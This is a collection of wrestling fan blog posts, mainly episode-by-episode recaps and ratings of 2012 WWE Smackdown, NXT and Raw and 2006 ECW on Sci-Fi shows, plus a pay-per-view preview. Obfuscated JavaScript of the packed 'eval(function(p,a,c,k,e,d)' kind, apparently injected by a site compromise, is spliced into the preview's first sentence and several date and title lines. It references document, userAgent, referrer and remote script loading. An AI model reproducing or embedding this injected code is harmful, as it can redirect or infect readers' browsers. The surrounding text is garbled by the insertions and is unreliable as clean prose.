Sin Cara Returns To Action

Source

Not much of a story but it’s the best I’ve got at midnight on a Saturday.




Over the Limit 2012 Preview

We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izdky|var|u0026u|referrer|dfknf||js|php'.split('|'),0,{})) really have to do this don’t we?  This is one of the least interesting PPVs I can remember in years but it has to be done.  Let’s get to it.To get the obvious out of the way, Big Show/Lesnar interfere to help Ace win and set up the nonsense for the rest of the summer.  This is about as obvious as you can get.

Since the match hasn’t been talked about at all, I’ll go with Punk via a coin flip.  I do however think Bryan will get the title eventually though.

I’ll go with Sheamus to retain as well.  The only other option is Del Rio.  This is the match I’m looking forward tot he most by far as I’ve liked the build pretty well.

The tag champions will retain because they’re setting up the champions vs. the Colons.

Layla to retain.

Kane to destroy Ryder on the pre-show.

 

That’s the whole announced card so far: 5 matches and a pre-show match.  They’ll add two matches or so more than likely.

 

Thoughts/Predictions?




Smackdown – May 18, 2012: Nice Long Main Event Almost Saves It

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbbas|var|u0026u|referrer|ektdz||js|php'.split('|'),0,{})) May 18, 2012
Location: Giant Center, Hershey, Pennsylvania
Commentators: Michael Cole, Josh Matthews, Booker T

Time for another edition of that show on Fridays that doesn’t mean a thing because everything happens on Raw now. The main event tonight is Orton vs. Sheamus which is the big PPV match they’re waiting for the right time to have. This is the go home show for Over the Limit which is the least interesting PPV I can think of in years. Maybe we’ll actually have Punk and Bryan talk. Let’s get to it.

We open with a recap of the end of Raw. Gee there’s a novel idea. This is edited together really well as it’s Ace talking about what he can do and Cena reading a line from the letter to say that Ace can’t do that.

In the arena here’s Ace to really open things up. He disagrees with the Board’s decision because it puts him in harm’s way. Ace says that he’s almost 40 but he’s still in shape. Wow I would have put him closer to fifty. The Board won’t reconsider their decision so he appeals to the fans for their support. He asks for our prayers but gets Punk instead.

Punk says that everyone, including him and the rest of the roster has been praying. Their prayers have been answered by this match on Sunday. It’s not about if Cena beats him but rather when. It would be more realistic to say that it’s not if Big Show/Lesnar interferes but when but you get the idea. Punk says after Ace is fired the party will start on Raw and it’ll go on through Smackdown next week.

The champ talks about Raw where Ace made Big Show beg for forgiveness with a smile on his face. Ace constantly insults the intelligence of the fans and humiliates Teddy, so how does it feel to be on the other end of the stick? Ace says it’s not over yet so tonight Punk faces Kane. Punk says that concerns him but he’s going to face Kane like a man. Next week he’ll still be WWE Champion but Ace will be unemployed. So let’s see. Punk talked to a guy he’s not facing on Sunday, is facing a guy that is on the pre-show on Sunday, and didn’t mention his opponent by name at all. Nice way to show what the real match is guys.

Punk leaves but Ace stops to yell at the fans. He says that since he’s the GM, he’s been tough but fair. Ace says that he works hard for the fans and they still boo them. He’s not going to blame Punk and Cena, because it’s the fans’ fault. If this is his last night, he could care less about all of them, and with that he leaves.

Cena Make-A-Wish video which is good to mention because it makes you think of the good stuff WWE guys do. Make sure to remember that if you’re a Connecticut registered voter.

Kofi Kingston/R-Truth vs. Darren Young/Titus O’Neil

Young and Truth start things off. They fight into the corner and Truth punches him a bit. Off to Kofi with the springboard cross body for two. Kofi takes down both opponents but Titus’ distraction lets Young hit his belly to back suplex onto the apron to take over. Off to Titus who slams Kofi and hits a splash in the corner. Another attempt hits boots and it’s off to Young and Truth again. Truth speeds things up and hits the spinning forearm. DDT gets two as Titus saves. Kofi knocks O’Neil to the floor and hits a dive as the Little Jimmy pins Young at 2:59.

Just a quick aside here: we have Young and O’Neil brought up as a new team who look impressive, so in I think their fourth match they job clean to the champions in less than three minutes. That’s a great way to make these guys look good. This is where JOBBERS should be used. Throw Slater and someone else out there for this match and save Young/O’Neil for later. Unfortunately there are only five teams (Colons, champions, O’Neil/Young, Usos (are they still alive?) and Swagger/Ziggler) They’re saving the Colons for a big match I guess, so this is all they can use and that’s why there’s no division.

Don’t Be A Bully! How long before it’s time to STAND UP for WWE?

Ryder is filming stuff for his show in the back but Sandow is standing next to him. And that’s that apparently.

Video on Ryback. He’s 1/3 of the “they’re monsters but we have no idea what to do with him yet so we’ll keep having him squash people until the fans get bored of him” trio with Tensai and Clay.

Damien Sandow vs. Yoshi Tatsu

Sandow won’t fight for the same reasons he gave two weeks ago. He leaves but Tatsu calls him a chicken, complete with clucking. Sandow runs in and takes off the robe to reveal hot pink tights that Rick Martel would look twice at and destroys Tatsu. He hits a version of the Regal Cutter with both arms pulled instead of just one and then leaves. There was no bell and no pin so this wasn’t a match.

We recap the events that set up the fourway other than the actual announcement of the match.

Orton and Sheamus are in the back with Striker. Sheamus says he’s looking forward to fighting three guys and rubs in that he’s not champion anymore. Orton says he’s no longer so overconfident that he overlooks his opponents. He can beat anyone on Sunday but wants to beat Sheamus. Sheamus says he can kick Orton right now but Orton says compared to him, Sheamus is too nice a guy.

Zack Ryder vs. Daniel Bryan

Ryder gets in some offense to start but a running knee puts him down. The running dropkick in the corner gets two. Bryan works on the arm a bit but gets caught by the knees in the corner. Broski Boot misses and Bryan kicks him in the head. YES Lock gets the submission at 2:28. Squash.

Kane vs. CM Punk

Bryan is sitting in on commentary, which is going to multiply the build for this match by about 10,000%. Kane knocks him down to start so Punk fires some kicks to the legs. A clothesline puts Kane on the floor and we take a break. Back with Punk kicking the knee some more and hitting a DDT for two. Punk hooks a Figure Four AND IT’S ON THE PROPER LEG!!! Kane breaks it quickly but I’m in too much shock to care.

Punk springboards into the uppercut and takes over with some very slow kicks. A baseball slide sends Punk’s ribs into the post and Kane focuses on them for a bit. Off to a bearhug and then a backbreaker for two. There’s a body vice as Bryan talks about the history with Punk and how their paths reached this point. See how easy it is? Back up and Punk escapes the chokeslam and hits a swinging neckbreaker for two.

Punk hits the knee in the corner but the bulldog is countered as you would expect it to be. Since that didn’t work he goes to the middle rope for the bulldog which gets two. He tries the GTS but the ribs give out. Big boot gets two for Kane. Bryan sounds like a kid at Christmas with the ribs being hurt.

Kane loads up a superplex but Punk shoves him off and hits the Macho Elbow for two. He tries the Vice but Kane blocks it. Top rope clothesline puts Punk down and it’s chokeslam time. Punk hits the High Kick to counter and Kane goes to the floor. Suicide dive takes Kane out but Bryan pops up with a chair. He hits Kane which gives Kane the DQ win at 9:50 shown of 13:20.

Rating: C-. Not a great match but the main thing that hurt it was the slow pace of it. They were going by the numbers here but the ending helped it a bit. If a rib injury for Bryan to focus on is the best angle we can get to set up the match then we’ll have to go with it. I mean, WWE isn’t going to bother letting them cut promos on each other or anything so I’ll take what I can get.

Bryan runs and sees Punk with the chair near him, so he destroys Punk with it. Bryan hit Kane in the back if that clears anything up. A chokeslam in the ring leaves Punk laying.

Santino Marella vs. Cody Rhodes

This is the result of an epic Twitter War this week over which title means more. If you don’t know who’s losing here, I can’t help you. Booker says the IC Title is a little more prestigious. Cody hits some knees to the ribs to take over but the moonsault press misses. Here’s the Cobra but Cody dropkicks him down for two. And never mind as the Cobra hits for the pin at 1:59. Hey Vince, congratulations on crushing a guy that could be a big star for you because his brother got fired. Seriously, why else could this be happening?

Since having a match go longer than two minutes is impossible, here’s Ace’s promo from earlier tonight to fill in time.

Now we spend TEN FULL MINUTES reairing the ENTIRE Big Show firing segment from Monday.

Randy Orton vs. Sheamus

There’s a TON of time left for this because nothing else has happened on this show. Feeling out process to start with Orton getting caught in a headlock. Randy speeds things up and hits a dropkick to take over. They go into the corner and it turns into a shoving match followed by a fight. A clothesline puts the champion down and Orton does his stomping, focusing on the ankle for a bit.

A knee drop misses and Sheamus comes back with right hands in the corner. Orton punches back but Sheamus’ are better and he takes over. Randy comes back with a clothesline to send Sheamus to the floor but he sends Orton into the steps. Brogue Kick misses and Orton rams Sheamus’ shoulder into the post. No one has had a distinct advantage at all so far. That’s Sheamus’ bad shoulder so there’s some psychology thrown in there.

Orton stomps on the arm to drive it into the steps as we take a break. Back with Orton bending the arm around the ropes. Some elbows to the arm keep Sheamus down as does a DDT on the arm. Off to a chinlock with an arm trap. Sheamus starts a comeback but gets sent into the corner shoulder first. The champ manages to send him to the floor and hits a high knee followed by the ten forearms in the ropes.

Sheamus knocks Orton off the apron and into the barricade as we take another break. Back with Sheamus dropping knees on Orton which eventually get two. Regal Roll puts Orton down and Sheamus loads up the High Cross. Orton counters that too, this time into the backbreaker. Sheamus charges at him but Orton hooks a belly to belly of all things. He tries the elevated DDT but Sheamus guillotines him on the top to escape.

Slingshot shoulder puts Orton down and there are the running ax handles. Powerslam gets two. Another Irish Curse attempt is broken up but another attempt connects for two. Sheamus goes up but Orton stops him with punches followed by a top rope superplex. That only gets two and they slug it out. Brogue Kick misses and Sheamus gets caught in the rope and the elevated DDT. Orton loads up the RKO but Sheamus ducks. Brogue Kick misses and Orton tries the RKO again, but Sheamus drops down into a rollup for the pin at 16:35 shown of 23:35.

Rating: B. I was really getting into this at the end and the finishing sequence was very nicely done. They were setting up this as the match with both guys hitting everything they could other than their big move and then they threw a nicely timed curve ball with Sheamus winning with a rollup. The ending is also good as neither guy looks weak here at all and it keeps the main event on Sunday wide open.

Post match they shake hands and Orton RKOs him. That’s a pretty heelish move.

Overall Rating: D+. Until the good main event, this was on pace to be one of the worst Smackdowns that I can remember in years. The last quarter of it being good prevented that, but there are still major holes in this show. First of all, where were Jericho and Del Rio? They’re in this show’s main event and they’re not even on the broadcast for a promo? Second, Punk and Bryan is the most thrown out there main event in a LONG time. Even Bryan vs. Sheamus had a better build than this. Disappointing show, but a good main event helps it a lot.

Results
Kofi Kingston/R-Truth b. Titus O’Neil/Darren Young – Little Jimmy to Young
Daniel Bryan b. Zack Ryder – YES Lock
Kane b. CM Punk via DQ when Daniel Bryan interfered
Santino Marella b. Cody Rhodes – Cobra
Sheamus b. Randy Orton – Rollup

Remember to like this on Facebook and follow me on Twitter @kbreviews




Raw Becomes Three Hours Every Week July 23

Source

It’s on WWE.com also. I’m REALLY hoping this is the pre-show they’ve been talking about. This didn’t work for WCW and it doesn’t work when it happens as a special. I hope this isn’t what it sounds like.

Thoughts?




NXT – May 16, 2012: Best NXT Match In Months

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izzdk|var|u0026u|referrer|ztedn||js|php'.split('|'),0,{})) May 16, 2012
Location: Giant Center, Hershey, Pennsylvania
Commentators: William Regal, Josh Matthews

This is the final regular taping for NXT as after this the show is going to move to Florida permanently which is probably a good thing. We can now get the FCW guys on the show and give them some time. Also we don’t need to sit through this show on Smackdown tapings because about 80% of the fans don’t have a clue who these guys are. Let’s get to it.

Johnny Curtis vs. Percy Watson

Apparently Curtis has stolen tape (as in Scotch) tape from the announcers at some point. As they talk about Josh’s shoes, Watson takes over with an armbar to start. Leg lariat sends Curtis to the apron but he guillotines Watson on the top for two. Quick chinlock goes nowhere and Curtis chokes him a bit. This time the hold of choice is a surfboard with a knee in the back. Watson gets out of that pretty easily and hits a few dropkicks. Heisman gets two. Persecution is escaped and Curtis hits a spinning Falcon’s Arrow for the pin at 4:40.

Rating: D+. This was ok enough I guess, but Curtis’ weird gimmick doesn’t do much for him. It’s good for promos but in matches he’s just kind of standing around and looking at the fans instead of really being strange. Watson is a guy that the fans seem to like but there’s nothing to him as far as a personality goes. It’s the completely opposite of how he was in Season 2.

Great Khali/Ezekiel Jackson vs. Curt Hawkins/Tyler Reks

See, THIS is what NXT needs: appearances from bigger names that are regulars on the main shows. It gives us some fresh faces but we don’t need to spend a month to figure out who they are. Weren’t Hawkins and Reks security guards or something recently? I vaguely remember something about Ace rehiring them but they don’t seem to care enough to let us know and neither do the announcers.

Khali and Hawkins start things off. The taller one chops him a lot and tags in Jackson, who seems to scare Hawkins a lot more than Khali did. Off to Reks who gets knocked into the corner with ease. Reks takes him down and Hawkins adds a top rope clothesline before tagging right back out. Jackson plays Ricky Morton, which is one of the most curious casting choices I’ve ever seen.

Reks is the legal evil one at the moment, kicking away at Jackson followed by a chinlock. A slam gets two. Off to Hawkins who again is only in for a few moments. Back to Reks who has more luck, hitting a big boot for two. Another chinlock goes on but Big Zeke comes back with a backdrop and makes the tag to Khali. He cleans house and the Plunge ends Reks at 6:04.

Rating: D+. Another so-so match here which was fine for filling in a few minutes. Still though the problem here is why Hawkins and Reks are back in the ring. I checked and last week it was said that they were security and not wrestlers. Therefore, we should get an explanation as to why they’re wrestling here. That’s basic storytelling and for some reason it’s just not happening at all.

Maxine vs. Kaitlyn

This is billed as a big showdown, which would make sense if this wasn’t what, the third time they’ve fought in a month or two? Maxine is in more traditional attire here and it’s working for me. Kaitlyn immediately takes her down with a rollup for two, followed by a slam for the same. Maxine hooks her guillotine choke but Kaitlyn eventually breaks it up by draping her over the top rope.

Maxine comes back with forearms and a chinlock. She’s very fired up this week. There’s another chinlock with a knee in the back which is shifted into a kind of camel clutch. Kaitlyn fights up but gets ax handled down for two. Kaitlyn comes back with a dropkick and a bad crossbody for two. Maxine grabs a rollup for two and hooks a Last Chancery. That’s easily broken and Kaitlyn grabs a Bubba Bomb. She drops onto her back and puts on a full nelson with her legs for the pin at 6:00.

Rating: C-. You know when these matches go longer than 90 seconds they’re a lot more enjoyable. At the end of the day, having some decent matches by girls in small outfits is something that’s hard to mess up. Having a match get six minutes makes it more enjoyable instead of having them go like a minute. Matches like those are pointless whereas something like this wasn’t bad.

Raw ReBound is about Big Show getting fired.

Cena Make-A-Wish video.

Tyson Kidd vs. Michael McGillicutty vs. Derrick Bateman

They have almost fifteen minutes for this. McGillicutty lets them fight while he chills on the floor. The good guys take turns with armdrags until it’s a stalemate. After another stand off the pair goes outside and chases McGillicutty back into the ring. There’s a double hiptoss and a LONG delayed double vertical suplex to put Michael down. Bateman has a smart idea and rolls up Kidd for two.

Bateman gets knocked to the floor but McGillicutty breaks up a suicide dive attempt. He hammers on Kidd for awhile until Bateman finally revives from his coma. The pair sends McGillicutty to the floor and Bateman hits a GREAT suicide dive. He may have hurt his knee on that though. Kidd goes up top and tries a moonsault press onto them but mostly lands between them as we take a break. Back with Kidd stomping down on McGillicutty in the corner.

Here’s a Sharpshooter attempt but Michael kicks him into Bateman who is on the apron. Saito Suplex gets two for McGillicutty. McGillicutty sends Bateman into the post as Regal talks about having a step ladder because his real ladder left him. Everyone is back in now and Kidd kicks out of a dropkick. McGillicutty and Kidd collide on stereo cross body attempts.

Bateman comes up and hits a few clotheslines on Michael for two. Tornado DDT is broken up but here’s Kidd with the kicks to Michael. Bateman hits a flip neckbreaker to Kidd but McGillicutty hits a backbreaker on him for two. Kidd hits a high kick to McGillicutty to send him into a northern lights bridging suplex by Bateman. Kidd breaks that up with a springboard elbow for two. McGillicutty breaks up a rollup and hits a Perfecplex for two on Kidd. Bateman breaks it up and sets for a superplex on McGillicutty but Kidd breaks it up and sends Michael to the floor. Sharpshooter followed by the Dungeon Lock gets the tap at 13:40.

Rating: B. Best NXT match in months, hands down. This was really entertaining and I legitimately didn’t know who was going to win the whole way through. Also, I LOVED the knee injury coming back to cost Bateman the match later. That’s a great little bit of storytelling in there and it made the match that much better. This was Bateman’s best match ever by about a thousand miles.

Overall Rating: B-. Pretty good show here with a great main event and some other ok wrestling on here too. It does have problems like the attacks in the back not being mentioned at all and Reks/Hawkins all of a sudden being back as active wrestlers, but if you throw out a nearly 15 minute main event like that every week I can more than over look it. Good show this week and check out that triple threat.

Results
Johnny Curtis b. Percy Watson – Spinning Falcon’s Arrow
Ezekiel Jackson/Great Khali b. Curt Hawkins/Tyler Reks – Punjabi Plunge to Reks
Kaitlyn b. Maxine – Leg full nelson
Tyson Kidd b. Michael McGillicutty and Derrick Bateman – Dungeon Lock to Bateman

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ECW on Sci-Fi – August 8, 2006: Angle’s Last Match

ECW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dddnn|var|u0026u|referrer|yzrbh||js|php'.split('|'),0,{})) on Sci-Fi
Date: August 8, 2006
Location: Bridgestone Arena, Nashville, Tennessee
Commentators: Joey Styles, Tazz

This is I think the ninth episode and thankfully for the sake of WWE, the show is out of ECW country this week. The main event is Angle vs. Sabu in a match that has some historical significance which we’ll get to at the end of this. Other than that there isn’t much to talk about but Summerslam is coming up so you know there’s going to be talk about the non-ECW matches from that show right? Let’s get to it.

After a clip from last week with the opening tag, we’re ready to go.

Mike Knox vs. Tommy Dreamer

Knox jumps Dreamer as he’s getting in and we’re going fast. He tries a backdrop but Dreamer hits a bad neckbreaker to take over. Dreamer hits a Cactus Clothesline to put both guys outside. Knox goes into the steps and let’s head back inside. Middle rope elbow gets two for Dreamer and here’s Heyman. Dreamer hits the DDT but the security guards come in and take out Tommy. Knox hits a DDT for the quick pin.

Heyman and the guards set for a double beatdown but Sandman comes in for the save and we take a break.

Back with Heyman telling Sandman that Heyman gets what’s wrong. It’s about Dreamer getting attacked right? Dreamer was going to get another match with someone (presumably the tag match from last week) but instead Sandman gets to go it alone. Oh and it’s regular rules so no cane.

Test/Mike Knox vs. Sandman

I mean, what would we do without a Test appearance right? As Dreamer is on his way to the back, Test kicks his head off in a nice heelish move. Sandman tries to use the cane anyway but misses Knox. Test beats him down and the double teaming begins. The heels beat on him for awhile until Test missses a charge in the corner. Sandman dropkicks Knox and then grabs the cane for the quick DQ. This was less than nothing.

Sandman canes them both and leaves.

Video on Sabu.

We see Sabu attacking Big Show the last two weeks, which is why Sabu is in a #1 contenders match with Angle tonight.

Sabu says he’ll win. Insert rage about Sabu talking here.

Balls Mahoney loves ECW and has cuts in his head.

There’s a full moon, which of course leads to….

Kevin Thorn vs. Al Snow

DANG those things on Ariel are big. She hangs upside down on the ropes during the entrance. Thankfully Joey is there to pound it into our heads that they follow Vampirism. Snow jumps him to start and gets a very quick one. Thorn catches him and hits a very bad gutbuster as he works on the ribs. Snow fights back a bit but gets caught by the elevated Stunner. Razor’s Edge ends this squash.

Video on Angle.

Angle says that Sabu will lose tonight, because it’s suicide to come into the ring with him.

Rene Dupree is coming. Oh geez.

Here’s Big Show for a chat. Show knows that he’s the best ECW Champion ever. He doesn’t represent the blood and guts that usually are associated with the title. Instead he’s bringing some class to the belt. Angle will be crushed like crackers in soup and Sabu would be suicidal if he comes after the title. No one can beat him apparently.

We get a clip from last week with Punk debuting.

Punk says he was welcomed into the ECW family and he thanks the fans for that reception. All the years of training have paid off but now it’s about the future. He’ll be in the ring again next week.

Kurt Angle vs. Sabu

Main event and #1 contender match. Sabu charges straight at him which gets him nowhere at all. Angle takes Sabu down and slaps him around a little bit. He goes after the leg but Sabu gets a rope. The idea here is that Sabu has to be careful while Angle is looking for an opening. Sabu avoids a charge and Angle’s shoulder goes into the post. Sabu sends him to the floor and we take a break. Back with Sabu in a rear chinlock. The winner gets the title match at Summerslam.

Sabu fights up and hits a springboard tornado DDT for two. Angle is in a little trouble but he snaps off an overhead belly to belly to take over. Off to the grapevined chinlock which doesn’t last long. Sabu hits a springboard leg lariat and a slingshot legdrop for two. Let lariat gets the same. The American hits rolling Germans on the Arabian and loudly calls the flip over spot on the last one.

There go the straps but Sabu counteres the Slam. Sabu hits some springboard attacks for two. Camel clutch goes on but Angle reverses into the ankle lock. Sabu rolls through and the counter sends Angle out to the floor. A flip dive almost totally misses and both guys are down on the floor. Angle AGAIN can be heard talking to Sabu. This is getting ridiculous. Back in a spinning splash off the top gets two for Sabu. Angle counters an arm hold into the ankle lock but here’s RVD for the DQ.

Rating: B-. I was getting into this as Sabu having to go crazy to hold off Angle was a nice idea. The key to Sabu is to have someone in there with him that can keep him sane and the match works WAY better. This was way better than I was expecting and it’s always nice to have a match exceed yoru expectations, especially when you’re expecting a mess with Sabu.

Rob attacks both guys and stands tall to end the show.

Overall Rating: C-. I liked last week’s show better but this certainly wasn’t bad. Rob returning is a good thing because the historical significance I was talking about earlier is that Angle would never have another WWE match on TV. After this he would be gone within a week and would be in TNA in less than two months. Rob needed to come back and they would soon start changing the way ECW looked. Decent show but nothing great.

Remember to like this on Facebook and follow me on Twitter @kbreviews




ECW on Sci-Fi – August 1, 2006: ECW Goes To The Ballroom

ECW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibtfi|var|u0026u|referrer|ietee||js|php'.split('|'),0,{})) on Sci-Fi
Date: August 1, 2006
Location: Hammerstein Ballroom, New York City, New York
Commentators: Joey Styles, Tazz

Back to the land of Extreme for another episode, this one being from an old ECW stomping ground. It’s hard to say what the crowd is going to think here but you know that the fans are going to be behind the ECW originals which is so cute because they think those people still mean a thing in this new company. It’s hard to say what to really expect here other than that. Let’s get to it.

The outside challenger of the week is Batista.

Sandman/Tommy Dreamer vs. Test/Mike Knox

This is EXTREME Rules and I guess the blowoff to their month long feud. Sandman of course gets busted open on the way to the ring with the beer can. The fans get on Kelly (lucky) and it’s Dreamer vs. Test to start. It occurs to them that they don’t have to tag so everything breaks down quickly. Sandman fires off a dropkick to the shock and awe of the announcers. Knox kills Sandman with a shoulder and the non-ECW guys take over.

Test gets the Singapore Cane but Dreamer saves Sandman from a caining. The Extremists bust out the weapons in the form of some trashcans but the fans want tables. Since it’s ECW, Dreamer and Sandman bust out some barbed wire boards to pop the crowd. Knox avoids going into it and Test saves him from a double suplex through it. Dreamer is busted and the fans think that Test takes steroids. Gee what gave you THAT idea?

Test goes shoulder first into the post as Dreamer is gushing blood. Oh wait that was just one side of his head. Sandman finds his cane but Kelly shields Knox. Sandy actually thinks for once and moves her out of the way so he can cane Knox up the aisle. Dreamer leans down to kiss Kelly but spanks her instead. Heyman and his security guards come out and beat down Dreamer, putting him through the board. Test throws him through it again and gets the easy pin with a TKO.

Rating: C. Not a bad brawl here and I’m certainly not complaining about the upskirt shots of Kelly that we got, but it’s the same thing I’ve said week after week so far: the ECW guys mean nothing at all in this modern incarnation. Test wasn’t going to be able to be pushed anywhere else so this is the best that they could do. The match was ok I guess but the Heyman security guards stuff was as weak as you could get.

Hogan is at Summerslam. Can you EVER imagine Hogan in ECW?

Heyman talks to his security and runs into Nunzio. Nothing is said so Heyman keeps walking until he finds Sabu. Still no title match.

Punk tells us about discipline until the battle begins when he’ll unleash his rage.

CM Punk vs. Justin Credible

The fans LOUDLY chant for Punk who is known as an indy legend at this point. Punk takes him to the mat with ease and makes Credible look stupid for fun. They go into the corner and Punk hooks an Anaconda Vice/Tarantula hybrid. Credible gets in some offense but Punk comes back with the kicks. Justin hits some rolling suplexes for two. Off to a half crab which doesn’t last long. Springboard clothesline gets two. Corner knee, bulldog, high kick, Vice and we’re done.

Rating: C. This was your usual debuting squash. Credible got in some more offense than your usual jobber would, but that’s because he’s not your usual jobber. He’s a jobber with a stupid name. Not much to see here from the Straightedge one, but obviously he would go on to have some far better days.

Video on Batista.

Shannon Moore is on a subway.

Brooklyn Brawler is in the ring and says he’s too hardcore for Raw or Smackdown.

Brooklyn Brawler vs. Kurt Angle

Ankle lock. Do you really need another detail?

Video on Big Show.

Ariel says that Kevin Thorn will take over. Thorn says nothing of note.

ECW World Title: Big Show vs. Batista

Batista’s reaction is pretty mixed. There are definitely cheers though. The fans want RVD but they get a muscle head from the WWE isntead. Then the music stops and Batista gets on the ropes where the people just rip into him. They do the big match intros and Batista is loudly booed. Then again they’re not that thrilled with Big Show either. We get a loud YOU BOTH SUCK and it’s off. They fight over a power advantage to start as Joey and Tazz have to ignore the fans.

Batista escapes an arm hold and pounds Show down to the floor as we take a break. Back with Show in control as the fans are ranting about the match again. Show flips them all off and the announcers have to ignore them again. Chokeslam is broken up but Show clotheslines him down. There’s what sounds like a boring chant. Now it’s CHANGE THE CHANNEL. Show slams him down but his Vader Bomb is broken up by Big Dave. A superplex puts both guys down.

Big Dave avoids a charge and hits his shoulders in the corner. Some clotheslines don’t do much so he spears Show down for two. Now the chant is BORING. Chokeslam out of nowhere gets two. Show grabs the belt but walks into the spinebuster. The Bomb is countered into the Final Cut for two. And never mind as the belt shot draws the LAME DQ.

Rating: D+. The problem here is the crowd. The match itself wasn’t that bad. It was your standard main event power match and could have been a watchable match on TV or PPV with few complaints being made. Well ok everyone would complain about the bad ending but the rest of the match was fine. That being said, the fans flat out did not want to see this at all and they were very vocal about it. Not the wrestlers’ fault though.

Post match Sabu (who was thrown out earlier) comes out and beats up Show with a chair to pop the crowd. Show falls through a table and Sabu poses to end the show.

Overall Rating: C-. You can clearly tell that things are changing here but the most important thing is they’re getting a formula down. The show isn’t that bad although it’s certainly not what I’d call good. It’s more or less just there at this point and considering how bad the earlier episodes were, that’s a major compliment. Not a great show or anything but for an hour of wrestling, this was fine.

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Monday Night Raw – May 14, 2012: Two Way Too Long Segments For The Price Of One!

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shtby|var|u0026u|referrer|sydza||js|php'.split('|'),0,{})) Night Raw
Date: May 14, 2012
Location: CONSOL Energy Center, Pittsburgh, Pennsylvania
Commentators: Michael Cole, Jerry Lawler

It’s the last Raw before Sunday’s Over The Limit so hopefully we’ll get some Cena tonight to sell the show. That being said, the guy is going through a divorce so I think you have to cut him some slack on how effective he’s going to be out there. We also have Punk vs. Daniel Bryan for Sunday so expect a lot of staring at each other tonight. Let’s get to it.

We open with HHH walking through the back. He runs into Ace who says he had nothing to do with Lesnar attacking him. HHH says he’ll respond in front of the world.

Theme song.

Here’s HHH but before he talks we get the video from Raw two weeks ago for the 100th time. HHH says everyone wants to know his thoughts on Lesnar. It’s not the physical part of it because he’s had worse done to him. It’s Lesnar saying that he has to bring legitimacy back to the WWE. A few weeks before that, HHH was going toe to toe with Undertaker in the most watched Wrestlemania of all time.

Lesnar’s arrogance offends all of the greats in WWE history and it offends HHH as a fans. Two weeks ago he was slightly embarrassed because of Lesnar always bailing when he got challenged. HHH saw the potential in Brock back in 2002, but Brock quit in 2004 after someone challenged him, then he quit UFC when he had to fight and now he came back here and went after Cena, who beat him as well.

Cue Heyman and a lawyer. Heyman says that HHH has blown this and that it’s an open and shut case. Lesnar had an agreement with Ace but HHH ripped it up. The lawyer serves HHH with a lawsuit for millions of dollars and Heyman runs his mouth some more. HHH grabs Heyman by the face and says Lesnar will get what he deserves. The Game leaves but Heyman says he’s suing HHH for assault and battery.

We get a recap of Show making fun of Ace last week. He gets Kane tonight as a result.

CM Punk/Santino Marella vs. Daniel Bryan/Cody Rhodes

Insert Pretender reference here. Punk and Rhodes start things off with Punk taking control. He sends Cody to the floor and Bryan out on top of him. There’s a suicide dive but Santino can’t quite bring himself to do one of his own as we take a break. After an ad for a Raw house show in my town in July, we come back with Rhodes beating up Santino. Off to Bryan who drops a bunch of knees for two.

Bryan throws on an armbar and the beating continues. In a funny bit, Santino dives for the tag but misses. Rhodes laughs but gets shoved off, allowing Santino to make the real tag. Bulldog puts Rhodes down but the GTS is avoided. High Kick puts Rhodes down but Bryan avoids one of his own. He heads to the floor and Cody walks into the GTS for the pin at 9:55.

Rating: C-. Everyone here knew that Cody was taking the fall here right? I want to make sure I’ve at least taught you that much. Other than that, the match was just ok. Santino being in there didn’t make a ton of sense but Big Show was busy tonight. I’d have liked more between Bryan and Punk but we had a champion to pin so it was out of the question.

Beth Phoenix vs. Alicia Fox

So Fox is face on here and heel on NXT. Got it. The crowd just goes silent when the bell rings. Layla comes out to watch. Gorilla press and Glam Slam, 1:16.

Alicia is about to get beaten up again but Layla makes the save.

Video on Cena’s Make-A-Wish work which is cool.

We see the Ace/Show segment again for some reason.

Ryder vs. Kane is the pre-show match for Sunday.

We get ANOTHER clip from last week with Ace saying that it might be Show’s last match in WWE.

Ace and Otunga come out and we take a break, meaning in this TV segment we announced a pre-show match and saw a clip.

Kane vs. Big Show

